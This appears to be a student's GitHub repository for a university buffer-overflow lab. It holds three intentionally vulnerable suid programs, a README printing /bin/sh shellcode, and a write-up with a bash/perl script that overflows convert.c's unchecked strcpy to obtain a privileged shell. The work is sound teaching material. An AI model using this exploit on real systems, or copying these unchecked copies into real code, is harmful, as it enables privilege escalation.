├── hyperuser ├── Readme.md └── arpsender.c ├── masteruser ├── Readme.md └── zoo.cpp ├── CompSec1_Report.pdf ├── LICENSE ├── superuser ├── convert.c ├── Readme.md └── bitcoin.txt ├── shellcode └── Readme.md └── Readme.md /hyperuser/Readme.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /masteruser/Readme.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /CompSec1_Report.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JasonPap/Buffer-Overflows/HEAD/CompSec1_Report.pdf -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Jason Papapanagiotakis 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /superuser/convert.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX_DATE_SIZE 720 6 | 7 | 8 | int main(int argc, char* argv[]) { 9 | char date[MAX_DATE_SIZE]=""; 10 | double btc=0; 11 | double rate=0; 12 | FILE * pFile; 13 | char line[18]; 14 | 15 | if (argc == 3 && strlen(argv[1]) < MAX_DATE_SIZE) { 16 | btc=strtod(argv[1], NULL); 17 | strcpy(date, argv[2]); 18 | } else { 19 | fprintf(stderr, "Bitcoin to US Dollar converter.\n"); 20 | fprintf(stderr, "Usage: %s <#bitcoins> \n", argv[0]); 21 | fprintf(stderr, "Date range: \"2010-07-17\" to \"2014-01-21\".\n"); 22 | return -1; 23 | } 24 | 25 | pFile = fopen ("/home/superuser/bitcoin.txt" , "r"); 26 | if (pFile == NULL) perror ("Error opening file"); 27 | else { 28 | while ( fgets (line , sizeof(line), pFile) != NULL ) 29 | if (strcmp(strndup(line + 0, 10), date) == 0) 30 | rate=strtod(strndup(line + 11, sizeof(line)-11), NULL); 31 | } 32 | fclose (pFile); 33 | 34 | printf("%.5f BTC were worth %.5f USD on %s\n", btc, (btc * rate), date); 35 | 36 | return 0; 37 | } 38 | -------------------------------------------------------------------------------- /shellcode/Readme.md: -------------------------------------------------------------------------------- 1 | ## What's a shellcode 2 | >In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. 3 | 4 | -- Wikipedia -- 5 | 6 | Usually a *shellcode* is written in machine/byte code and is passed to the vulnerable program in order to be executed through a buffer overflow vulnerability. 7 | 8 | ### Shellcode used 9 | The shellcode I used on all three attacks is found below. 10 | 11 | ```sh 12 | \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 13 | ``` 14 | 15 | As the shellcode is byte code it's also architecture independent so in order to be sure you'll have to search online for a shellcode that works on the platform you are exploiting. 16 | 17 | ### NOP slide 18 | When trying to execute a shellcode through a buffer overflow vulnerability it can be quite hard to figure out the exact padding needed (extra bytes) before your shellcode in order to overwrite the `saved eip` exactly with the start of the shellcode. 19 | 20 | In order to solve this problem it's common to use what's called a `NOP slide`. A NOP slide is basically a series of NOP instructions (their byte code representation), in my case `\x90`. 21 | 22 | 23 | ### Links 24 | For more information see [here](https://lthieu.wordpress.com/2012/11/10/exploit-stack-based-buffer-overflow-using-nop-sled-technique/) or [here](http://stackoverflow.com/questions/14760587/how-does-a-nop-sled-work). 25 | -------------------------------------------------------------------------------- /hyperuser/arpsender.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define MAX_ADDR_LEN 128 8 | 9 | #define ADDR_LENGTH_OFFSET 4 10 | #define ADDR_OFFSET 8 11 | 12 | typedef unsigned char shsize_t; 13 | 14 | typedef struct{ 15 | shsize_t len; 16 | char addr[MAX_ADDR_LEN]; 17 | char* hwtype; 18 | char* prototype; 19 | char* oper; 20 | char* protolen; 21 | } arp_addr; 22 | 23 | void print_address(char *packet) 24 | { 25 | arp_addr hwaddr; 26 | int i; 27 | 28 | hwaddr.hwtype = malloc(4); 29 | 30 | memset(hwaddr.hwtype, 1, 4); 31 | memset(hwaddr.addr, 0, MAX_ADDR_LEN); 32 | 33 | hwaddr.len = (shsize_t) *(packet + ADDR_LENGTH_OFFSET); 34 | memcpy(hwaddr.addr, packet + ADDR_OFFSET, hwaddr.len); 35 | memcpy(hwaddr.hwtype, packet, 4); 36 | 37 | printf("Sender hardware address: "); 38 | for (i = 0; i < hwaddr.len - 1; i ++) 39 | printf("%02hhx::", hwaddr.addr[i]); 40 | printf("%02hhx\n", hwaddr.addr[hwaddr.len - 1]); 41 | 42 | return; 43 | } 44 | 45 | int main(int argc, char *argv[]) 46 | { 47 | struct stat sbuf; 48 | char *packet; 49 | int fd; 50 | 51 | if (argc != 2){ 52 | printf("Usage: %s \n", argv[0]); 53 | return EXIT_FAILURE; 54 | } 55 | 56 | if ((stat(argv[1], &sbuf)) < 0){ 57 | printf("Error opening packet file\n"); 58 | return EXIT_FAILURE; 59 | } 60 | 61 | if ((fd = open(argv[1], O_RDONLY)) < 0){ 62 | printf("Error opening packet file\n"); 63 | return EXIT_FAILURE; 64 | } 65 | 66 | if ((packet = (char *)malloc(sbuf.st_size * sizeof(char))) == NULL){ 67 | printf("Error allocating memory\n"); 68 | return EXIT_FAILURE; 69 | } 70 | 71 | if (read(fd, packet, sbuf.st_size) < 0){ 72 | printf("Error reading packet from file\n"); 73 | return EXIT_FAILURE; 74 | } 75 | close(fd); 76 | print_address(packet); 77 | free(packet); 78 | return EXIT_SUCCESS; 79 | } 80 | -------------------------------------------------------------------------------- /masteruser/zoo.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define MAX_BUFFER_SIZE 256 7 | 8 | class Animal{ 9 | private: 10 | char name[MAX_BUFFER_SIZE]; 11 | public: 12 | Animal() { strcpy(name, "Ylvis"); } 13 | void set_name(char *nname) { strcpy(name, nname); } 14 | char *get_name() { return name; } 15 | virtual void speak() = 0; 16 | }; 17 | 18 | class Cow : public Animal{ 19 | public: 20 | void speak(); 21 | }; 22 | 23 | class Fox : public Animal{ 24 | public: 25 | void speak(); 26 | }; 27 | 28 | void Cow::speak() 29 | { 30 | std::cout << get_name() << " says Moo.\n"; 31 | return; 32 | } 33 | 34 | void Fox::speak() 35 | { 36 | std::cout << get_name() << " says Hatee-hatee-hatee-ho.\n"; 37 | return; 38 | } 39 | 40 | void usage() 41 | { 42 | std::cout << "Usage: zoo [options]\n" 43 | << "Options:\n" 44 | << "\t-c : Set cow name\n" 45 | << "\t-f : Set fox name\n" 46 | << "\t-s : Instruct animals to speak\n" 47 | << "\t-h : Print options\n"; 48 | return; 49 | } 50 | 51 | int main(int argc, char *argv[]) 52 | { 53 | Animal *a1, *a2; 54 | bool speak = false; 55 | char c; 56 | 57 | if (argc < 2){ 58 | usage(); 59 | return 1; 60 | } 61 | 62 | a1 = new Cow; 63 | a2 = new Fox; 64 | 65 | while ((c = getopt(argc, argv, "hsc:f:")) != -1){ 66 | switch (c){ 67 | case 'h': 68 | usage(); 69 | return 0; 70 | case 's': 71 | speak = true; 72 | break; 73 | case 'c': 74 | a1 -> set_name(optarg); 75 | break; 76 | case 'f': 77 | a2 -> set_name(optarg); 78 | break; 79 | case '?': 80 | usage(); 81 | return 1; 82 | } 83 | } 84 | 85 | if (speak){ 86 | a1 -> speak(); 87 | a2 -> speak(); 88 | }else 89 | std::cout <<"Another silent night in the zoo\n"; 90 | 91 | delete a2; 92 | delete a1; 93 | return 0; 94 | } 95 | 96 | 97 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # Introduction to buffer overflows 2 | As a first project for my University's Computer Security course I was tasked to find and exploit buffer overflow vulnerabilities on three different simple programs. 3 | 4 | ### Prerequisites 5 | Before diving into buffer overflows you should be familiar with: 6 | * Basic C/C++ understanding. 7 | * Linux permissions. 8 | * Basic Assembly knowledge. 9 | * GDB and program memory allocation (stack, frames). 10 | 11 | The GNU project debugger (a.k.a. GDB) is especially useful and since I won’t go into details on how to use it, if you’re not familiar with go check the docs or any good tutorial. The parts that are useful to this project are: disassembling the program, inspecting variable content and print frame information such as `saved return address`. 12 | 13 | Now you can start reading about buffer overflows [here](https://github.com/JasonPap/Buffer-Overflows#links). 14 | 15 | (also the GDB manual [here](https://sourceware.org/gdb/current/onlinedocs/gdb/)) 16 | 17 | ### The scenario 18 | There are three other users on the same Linux machine so the /home directory looks like this: 19 | ``` 20 | jason@linux /home $ ls 21 | 22 | hyperuser jason masteruser superuser 23 | ``` 24 | Each of the users (superuser, hyperuser, masteruser) have an executable on their home directory which can be executed by other users and runs with the **suid bit enabled**. That means that when executed the program will have the owners privileges and not the privileges of the user executing it. 25 | 26 | Each user also have a *secret.txt* file which can be read only by him. 27 | 28 | 29 | ### Aim of the project 30 | The goal is to introduce students to buffer overflow vulnerabilities. In order to reveal the final secret, each of the three secrets from superuser, hyperuser and masteruser must be combined. 31 | 32 | Each of the executables have a different flaw that must be exploited with the ultimate goal in each case to [create a Shell](https://github.com/JasonPap/Buffer-Overflows/tree/master/shellcode) running with the victim's privileges. 33 | 34 | * [superuser](https://github.com/JasonPap/Buffer-Overflows/tree/master/superuser): he has the *convert.c* program without any protection against buffer overflows and is the easiest target. 35 | * [hyperuser](https://github.com/JasonPap/Buffer-Overflows/tree/master/hyperuser): has the *arpsender.c* program which uses a canary to protect against buffer overflows. (not ready yet) 36 | * [masteruser](https://github.com/JasonPap/Buffer-Overflows/tree/master/masteruser): has the *zoo.cpp* program that must be exploited using the VPTR. (not ready yet) 37 | 38 | 39 | ### Links 40 | * Computer Security course [website](http://crypto.di.uoa.gr/csec/Asphaleia_Ypologistikon_Systematon/YS13.html) 41 | * Course slides on b.o. [here](https://onedrive.live.com/redir?resid=F5C8E228AE2A5BA0!174981&authkey=!APSO6hIJ5_rC2hc&ithint=file%2cpdf) 42 | * "Smashing the stack for fun and profit" great introduction to buffer overflows [here](http://insecure.org/stf/smashstack.html). 43 | 44 | 45 | ### License 46 | MIT License - fork, modify and use however you want. 47 | -------------------------------------------------------------------------------- /superuser/Readme.md: -------------------------------------------------------------------------------- 1 | ## Hacking the Superuser to get access to the supersecret file 2 | 3 | Given the C program *convert.c* find a way to execute Shell Code by overflowing the unprotected buffer. 4 | 5 | ### The convert program 6 | The superuser's program, *convert*, is a simple C program that given a number of Bitcoins and a date it returns the amount of dollars they were valued at that time. It uses the *bitcoin.txt* to do so. 7 | 8 | ### Finding the weak spot 9 | 10 | By reading the code we can see that the instruction 11 | ```c 12 | strcpy(date,argv[2]); 13 | ``` 14 | give us the opportunity to overflow the `date` buffer because there aren't any bound check to see if `argv[2]` is smaller or equal to 720, the length of the `date` char array. 15 | 16 | ### Trial and error 17 | I filled date with a large random string and the program crashed giving me a SEGMENTATION fault and confirming the vulnerability of the executable. 18 | 19 | Then I tried to prepare the proper input to get the program to execute my [Shell code](https://github.com/JasonPap/Buffer-Overflows/tree/master/shellcode): 20 | 21 | ```sh 22 | \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 23 | ``` 24 | 25 | and filling the empty space before the Shell code with "\x90", the Hex code of NOP instruction, to a total length of 720 chars. 26 | 27 | Then I had to use **GDB** to find where in the stack is saved the `date` buffer so I could point back. By printing the address of the `arglist` I was able to figure it out. Then, all I had to do is to write that address several times (about 4) at the end of my input (after the 720 chars) so it would overwrite the saved eip, the return address. 28 | 29 | My string now looked something like this: 30 | ``` 31 | …\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf\x2a\xfe\xff\xbf 32 | ``` 33 | ./convert 1 'myString' 34 | 35 | That didn't work (and could never work that way). Except for the "\" character everything else was copied to the memory as their corresponding hex representation. For example, 'a' was replaced with 0x61 etc. 36 | 37 | I had to find a way to write to the memory exactly the Bytes of code I had in my string. So I tried online hex to char converters to try to reverse the conversion that happened before. That didn’t work either because I couldn't copy-paste those characters that didn't appear correctly. 38 | 39 | 40 | ### Solving the puzzle 41 | By using the exploit3.c code provided by Aleph One [here](http://insecure.org/stf/smashstack.html) with 800 as command line argument I was able to get access to the supersecret.txt quickly. 42 | 43 | Although the problem was solved I tried another way to do it. 44 | 45 | I wrote a Bash script to generate the right string that would overflow the date buffer and give me access to the *supersecret.txt*. I used **Perl** commands to convert my Shell code to characters (each byte a char). And again GDB to find the address of the `date` buffer and see what was written to the `saved eip` after the overflow to make sure I was writing an address somewhere in the NOP slide. 46 | 47 | ``` 48 | #!/bin/bash 49 | arg=`perl -e 'printf"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\$ 50 | 51 | arg2=`perl -e 'printf"\x96\xf6\xff\xbf"'` #the address that will overwrite the return address. 52 | 53 | ../superuser/convert 2 $arg$arg2 54 | 55 | ``` 56 | 57 | Now I had a shell running with the superuser's privileges. 58 | 59 | ### Useful links 60 | Those are a collection of websites I used during my successful and un-successful trials. 61 | 62 | * [tldp.org](http://www.tldp.org/LDP/Bash-Beginners-Guide/html/sect_03_02.html) 63 | * [crypto.di.uoa.gr](https://crypto.di.uoa.gr/csec/Asphaleia_Ypologistikon_Systematon/Semeioseis_files/gdb-tut.pdf) (in Greek) 64 | * [insecure.org](http://insecure.org/stf/smashstack.html) 65 | * [velocityreviews.com](http://www.velocityreviews.com/forums/t727636-print-hex-value-of-char.html) 66 | * [linuxquestions.org](http://www.linuxquestions.org/questions/programming-9/%5Bbash%5D-ascii-to-hex-and-hex-to-ascii-488357/) 67 | * [Microsoft.com](https://msdn.microsoft.com/en-us/library/9hxt0028.aspx) 68 | * [csail.mit.edu](http://css.csail.mit.edu/6.858/2012/readings/return-to-libc.pdf) 69 | * [stackoverflow.com](http://stackoverflow.com/questions/8534607/how-to-fix-buffer-overflow-return-address-failure) 70 | 71 | 72 | -------------------------------------------------------------------------------- /superuser/bitcoin.txt: -------------------------------------------------------------------------------- 1 | 2010-07-17 0.04951 2 | 2010-07-18 0.05941 3 | 2010-07-19 0.07723 4 | 2010-07-20 0.07426 5 | 2010-07-21 0.06634 6 | 2010-07-22 0.0505 7 | 2010-07-23 0.0505 8 | 2010-07-24 0.05049 9 | 2010-07-25 0.0505 10 | 2010-07-26 0.05 11 | 2010-07-27 0.053 12 | 2010-07-28 0.054 13 | 2010-07-29 0.0571 14 | 2010-07-30 0.0582 15 | 2010-07-31 0.056 16 | 2010-08-01 0.06 17 | 2010-08-02 0.06 18 | 2010-08-03 0.059 19 | 2010-08-04 0.057 20 | 2010-08-05 0.058 21 | 2010-08-06 0.0607 22 | 2010-08-07 0.059 23 | 2010-08-08 0.059 24 | 2010-08-09 0.0593 25 | 2010-08-10 0.06651 26 | 2010-08-11 0.06 27 | 2010-08-12 0.06141 28 | 2010-08-13 0.0645 29 | 2010-08-14 0.0645 30 | 2010-08-15 0.065 31 | 2010-08-16 0.062 32 | 2010-08-17 0.06243 33 | 2010-08-18 0.067 34 | 2010-08-19 0.0667 35 | 2010-08-20 0.065 36 | 2010-08-21 0.0644 37 | 2010-08-22 0.0612 38 | 2010-08-23 0.063 39 | 2010-08-24 0.06491 40 | 2010-08-25 0.0641 41 | 2010-08-26 0.064 42 | 2010-08-27 0.063 43 | 2010-08-28 0.0641 44 | 2010-08-29 0.064 45 | 2010-08-30 0.03211 46 | 2010-08-31 0.06 47 | 2010-09-01 0.05961 48 | 2010-09-02 0.0601 49 | 2010-09-03 0.06085 50 | 2010-09-04 0.0612 51 | 2010-09-05 0.0605 52 | 2010-09-06 0.0616 53 | 2010-09-07 0.0603 54 | 2010-09-08 0.06099 55 | 2010-09-09 0.06109 56 | 2010-09-10 0.06014 57 | 2010-09-11 0.0619 58 | 2010-09-12 0.0615 59 | 2010-09-13 0.0607 60 | 2010-09-14 0.061 61 | 2010-09-15 0.0604 62 | 2010-09-16 0.0618 63 | 2010-09-17 0.059 64 | 2010-09-18 0.05761 65 | 2010-09-19 0.06 66 | 2010-09-20 0.062 67 | 2010-09-21 0.0623 68 | 2010-09-22 0.06147 69 | 2010-09-23 0.0615 70 | 2010-09-24 0.06209 71 | 2010-09-25 0.0617 72 | 2010-09-26 0.06186 73 | 2010-09-27 0.0619 74 | 2010-09-28 0.0617 75 | 2010-09-29 0.0615 76 | 2010-09-30 0.06155 77 | 2010-10-01 0.06189 78 | 2010-10-02 0.06125 79 | 2010-10-03 0.061 80 | 2010-10-04 0.06081 81 | 2010-10-05 0.0609 82 | 2010-10-06 0.0612 83 | 2010-10-07 0.0628 84 | 2010-10-08 0.01 85 | 2010-10-09 0.068 86 | 2010-10-10 0.07999 87 | 2010-10-11 0.091 88 | 2010-10-12 0.082 89 | 2010-10-13 0.092 90 | 2010-10-14 0.065 91 | 2010-10-15 0.092 92 | 2010-10-16 0.1 93 | 2010-10-17 0.10001 94 | 2010-10-18 0.097 95 | 2010-10-19 0.097 96 | 2010-10-20 0.094 97 | 2010-10-21 0.097 98 | 2010-10-22 0.1015 99 | 2010-10-23 0.10449 100 | 2010-10-24 0.108 101 | 2010-10-25 0.09009 102 | 2010-10-26 0.133 103 | 2010-10-27 0.151 104 | 2010-10-28 0.1731 105 | 2010-10-29 0.173 106 | 2010-10-30 0.1875 107 | 2010-10-31 0.171 108 | 2010-11-01 0.172 109 | 2010-11-02 0.1905 110 | 2010-11-03 0.125 111 | 2010-11-04 0.1934 112 | 2010-11-05 0.2101 113 | 2010-11-06 0.2402 114 | 2010-11-07 0.286 115 | 2010-11-08 0.2261 116 | 2010-11-09 0.199 117 | 2010-11-10 0.14 118 | 2010-11-11 0.21 119 | 2010-11-12 0.223 120 | 2010-11-13 0.2683 121 | 2010-11-14 0.2702 122 | 2010-11-15 0.2682 123 | 2010-11-16 0.223 124 | 2010-11-17 0.2116 125 | 2010-11-18 0.2221 126 | 2010-11-19 0.2682 127 | 2010-11-20 0.26825 128 | 2010-11-21 0.27631 129 | 2010-11-22 0.269 130 | 2010-11-23 0.276 131 | 2010-11-24 0.2761 132 | 2010-11-25 0.278 133 | 2010-11-26 0.27612 134 | 2010-11-27 0.28255 135 | 2010-11-28 0.27 136 | 2010-11-29 0.2151 137 | 2010-11-30 0.204 138 | 2010-12-01 0.2095 139 | 2010-12-02 0.218 140 | 2010-12-03 0.243 141 | 2010-12-04 0.205 142 | 2010-12-05 0.19 143 | 2010-12-06 0.1841 144 | 2010-12-07 0.1701 145 | 2010-12-08 0.22 146 | 2010-12-09 0.1701 147 | 2010-12-10 0.18251 148 | 2010-12-11 0.1907 149 | 2010-12-12 0.20676 150 | 2010-12-13 0.21 151 | 2010-12-14 0.21 152 | 2010-12-15 0.238 153 | 2010-12-16 0.22221 154 | 2010-12-17 0.24 155 | 2010-12-18 0.241 156 | 2010-12-19 0.24 157 | 2010-12-20 0.24 158 | 2010-12-21 0.24 159 | 2010-12-22 0.244 160 | 2010-12-23 0.241 161 | 2010-12-24 0.242 162 | 2010-12-25 0.2475 163 | 2010-12-26 0.24639 164 | 2010-12-27 0.251 165 | 2010-12-28 0.2612 166 | 2010-12-29 0.271 167 | 2010-12-30 0.291 168 | 2010-12-31 0.292 169 | 2011-01-01 0.292 170 | 2011-01-02 0.289 171 | 2011-01-03 0.29 172 | 2011-01-04 0.289 173 | 2011-01-05 0.29004 174 | 2011-01-06 0.29 175 | 2011-01-07 0.2975 176 | 2011-01-08 0.309 177 | 2011-01-09 0.32291 178 | 2011-01-10 0.3175 179 | 2011-01-11 0.31761 180 | 2011-01-12 0.31799 181 | 2011-01-13 0.3176 182 | 2011-01-14 0.3176 183 | 2011-01-15 0.385 184 | 2011-01-16 0.386 185 | 2011-01-17 0.315 186 | 2011-01-18 0.305 187 | 2011-01-19 0.305 188 | 2011-01-20 0.31 189 | 2011-01-21 0.368 190 | 2011-01-22 0.39 191 | 2011-01-23 0.42 192 | 2011-01-24 0.381 193 | 2011-01-25 0.4 194 | 2011-01-26 0.3904 195 | 2011-01-27 0.40851 196 | 2011-01-28 0.4212 197 | 2011-01-29 0.43 198 | 2011-01-30 0.445 199 | 2011-01-31 0.47 200 | 2011-02-01 0.52011 201 | 2011-02-02 0.69 202 | 2011-02-03 0.6501 203 | 2011-02-04 0.67 204 | 2011-02-05 0.8115 205 | 2011-02-06 0.83 206 | 2011-02-07 0.83 207 | 2011-02-08 0.8617 208 | 2011-02-09 0.82 209 | 2011-02-10 0.8 210 | 2011-02-11 0.9264 211 | 2011-02-12 0.9906 212 | 2011-02-13 1.0201 213 | 2011-02-14 1.033 214 | 2011-02-15 1.035 215 | 2011-02-16 1.0201 216 | 2011-02-17 1.02 217 | 2011-02-18 0.78009 218 | 2011-02-19 0.8376 219 | 2011-02-20 0.83 220 | 2011-02-21 0.8313 221 | 2011-02-22 0.8313 222 | 2011-02-23 0.8681 223 | 2011-02-24 0.9 224 | 2011-02-25 0.91109 225 | 2011-02-26 0.91061 226 | 2011-02-27 0.89 227 | 2011-02-28 0.845 228 | 2011-03-01 0.8502 229 | 2011-03-02 0.9102 230 | 2011-03-03 0.91 231 | 2011-03-04 0.9001 232 | 2011-03-05 0.8111 233 | 2011-03-06 0.81 234 | 2011-03-07 0.846 235 | 2011-03-08 0.84999 236 | 2011-03-09 0.85 237 | 2011-03-10 0.84965 238 | 2011-03-11 0.8601 239 | 2011-03-12 0.88 240 | 2011-03-13 0.88976 241 | 2011-03-14 0.88 242 | 2011-03-15 0.87 243 | 2011-03-16 0.836 244 | 2011-03-17 0.81 245 | 2011-03-18 0.70999 246 | 2011-03-19 0.73127 247 | 2011-03-20 0.7402 248 | 2011-03-21 0.7405 249 | 2011-03-22 0.7405 250 | 2011-03-23 0.78 251 | 2011-03-24 0.82659 252 | 2011-03-25 0.861 253 | 2011-03-26 0.841 254 | 2011-03-27 0.8152 255 | 2011-03-28 0.76 256 | 2011-03-29 0.7648 257 | 2011-03-30 0.76599 258 | 2011-03-31 0.768 259 | 2011-04-01 0.7741 260 | 2011-04-02 0.7741 261 | 2011-04-03 0.777 262 | 2011-04-04 0.5619 263 | 2011-04-05 0.58 264 | 2011-04-06 0.6902 265 | 2011-04-07 0.7205 266 | 2011-04-08 0.7309 267 | 2011-04-09 0.7205 268 | 2011-04-10 0.71 269 | 2011-04-11 0.7103 270 | 2011-04-12 0.7703 271 | 2011-04-13 0.86 272 | 2011-04-14 0.91 273 | 2011-04-15 0.911 274 | 2011-04-16 0.95414 275 | 2011-04-17 1.0255 276 | 2011-04-18 1.1103 277 | 2011-04-19 1.1436 278 | 2011-04-20 1.13 279 | 2011-04-21 1.14 280 | 2011-04-22 1.189 281 | 2011-04-23 1.3202 282 | 2011-04-24 1.6 283 | 2011-04-25 1.52109 284 | 2011-04-26 1.53 285 | 2011-04-27 1.72 286 | 2011-04-28 1.66 287 | 2011-04-29 2.21 288 | 2011-04-30 2.75 289 | 2011-05-01 2.5 290 | 2011-05-02 3.029 291 | 2011-05-03 3.11 292 | 2011-05-04 3.25 293 | 2011-05-05 3.333 294 | 2011-05-06 3.29 295 | 2011-05-07 3.425 296 | 2011-05-08 3.63 297 | 2011-05-09 3.6905 298 | 2011-05-10 3.81 299 | 2011-05-11 4.6 300 | 2011-05-12 5.22 301 | 2011-05-13 6.3201 302 | 2011-05-14 5.83 303 | 2011-05-15 6.20001 304 | 2011-05-16 6.75 305 | 2011-05-17 6.97991 306 | 2011-05-18 6.6 307 | 2011-05-19 6.60711 308 | 2011-05-20 5.5772 309 | 2011-05-21 5.5772 310 | 2011-05-22 5.99001 311 | 2011-05-23 6.68999 312 | 2011-05-24 6.96 313 | 2011-05-25 7.21612 314 | 2011-05-26 8.01 315 | 2011-05-27 8.5002 316 | 2011-05-28 8.11 317 | 2011-05-29 8.102 318 | 2011-05-30 8.25001 319 | 2011-05-31 8.1 320 | 2011-06-01 8.3 321 | 2011-06-02 9.5 322 | 2011-06-03 10.5752 323 | 2011-06-04 14.04 324 | 2011-06-05 16.2 325 | 2011-06-06 16.4513 326 | 2011-06-07 18.26 327 | 2011-06-08 22.2135 328 | 2011-06-09 26.151 329 | 2011-06-10 20.01 330 | 2011-06-11 13 331 | 2011-06-12 10.25 332 | 2011-06-13 16 333 | 2011-06-14 18.001 334 | 2011-06-15 19.022 335 | 2011-06-16 17 336 | 2011-06-17 13 337 | 2011-06-18 15.052 338 | 2011-06-19 16.85 339 | 2011-06-20 1.7e+308 340 | 2011-06-21 1.7e+308 341 | 2011-06-22 1.7e+308 342 | 2011-06-23 1.7e+308 343 | 2011-06-24 1.7e+308 344 | 2011-06-25 1.7e+308 345 | 2011-06-26 14.01 346 | 2011-06-27 15 347 | 2011-06-28 16.5 348 | 2011-06-29 16.666 349 | 2011-06-30 15.73 350 | 2011-07-01 15.26 351 | 2011-07-02 15.271 352 | 2011-07-03 15.311 353 | 2011-07-04 13.14 354 | 2011-07-05 11 355 | 2011-07-06 12.67132 356 | 2011-07-07 14.5 357 | 2011-07-08 13.90152 358 | 2011-07-09 14.0201 359 | 2011-07-10 14.35 360 | 2011-07-11 13.8 361 | 2011-07-12 13.9 362 | 2011-07-13 13.91 363 | 2011-07-14 13.7 364 | 2011-07-15 13.5021 365 | 2011-07-16 13.501 366 | 2011-07-17 13.021 367 | 2011-07-18 12.51 368 | 2011-07-19 13.44 369 | 2011-07-20 13.4 370 | 2011-07-21 13.4 371 | 2011-07-22 13.45 372 | 2011-07-23 13.51 373 | 2011-07-24 13.6 374 | 2011-07-25 13.76 375 | 2011-07-26 13.768 376 | 2011-07-27 13.85 377 | 2011-07-28 13.312 378 | 2011-07-29 13.3302 379 | 2011-07-30 13.45 380 | 2011-07-31 12.82922 381 | 2011-08-01 12.85 382 | 2011-08-02 11.5 383 | 2011-08-03 8.7 384 | 2011-08-04 9.26999 385 | 2011-08-05 9.5 386 | 2011-08-06 5.742 387 | 2011-08-07 6.01 388 | 2011-08-08 7.055 389 | 2011-08-09 7.671 390 | 2011-08-10 9.5 391 | 2011-08-11 8.45099 392 | 2011-08-12 8.91 393 | 2011-08-13 9.28 394 | 2011-08-14 9.62 395 | 2011-08-15 10.72151 396 | 2011-08-16 10.8109 397 | 2011-08-17 10.661 398 | 2011-08-18 10.81 399 | 2011-08-19 10.83001 400 | 2011-08-20 11.4 401 | 2011-08-21 11.31 402 | 2011-08-22 10.51 403 | 2011-08-23 10.809 404 | 2011-08-24 10.8309 405 | 2011-08-25 9.1 406 | 2011-08-26 7.642 407 | 2011-08-27 8.12082 408 | 2011-08-28 8.44758 409 | 2011-08-29 8.65 410 | 2011-08-30 8.55 411 | 2011-08-31 8.01001 412 | 2011-09-01 8.1 413 | 2011-09-02 8.23 414 | 2011-09-03 8.36307 415 | 2011-09-04 7.85 416 | 2011-09-05 7.25 417 | 2011-09-06 6.122 418 | 2011-09-07 6.53001 419 | 2011-09-08 6.51235 420 | 2011-09-09 4.18 421 | 2011-09-10 4.63 422 | 2011-09-11 4.6 423 | 2011-09-12 5.4121 424 | 2011-09-13 5.7 425 | 2011-09-14 5.32488 426 | 2011-09-15 4.44 427 | 2011-09-16 4.61 428 | 2011-09-17 4.7 429 | 2011-09-18 4.72134 430 | 2011-09-19 4.9 431 | 2011-09-20 5.4511 432 | 2011-09-21 5.06 433 | 2011-09-22 5.29 434 | 2011-09-23 5.4145 435 | 2011-09-24 5.3201 436 | 2011-09-25 5.32199 437 | 2011-09-26 4.721 438 | 2011-09-27 4.781 439 | 2011-09-28 4.625 440 | 2011-09-29 4.6742 441 | 2011-09-30 4.743 442 | 2011-10-01 4.86125 443 | 2011-10-02 4.91 444 | 2011-10-03 4.88889 445 | 2011-10-04 4.9193 446 | 2011-10-05 4.8312 447 | 2011-10-06 4.4989 448 | 2011-10-07 3.7819 449 | 2011-10-08 3.825 450 | 2011-10-09 4.00757 451 | 2011-10-10 4.0104 452 | 2011-10-11 3.84962 453 | 2011-10-12 3.901 454 | 2011-10-13 4.002 455 | 2011-10-14 3.9481 456 | 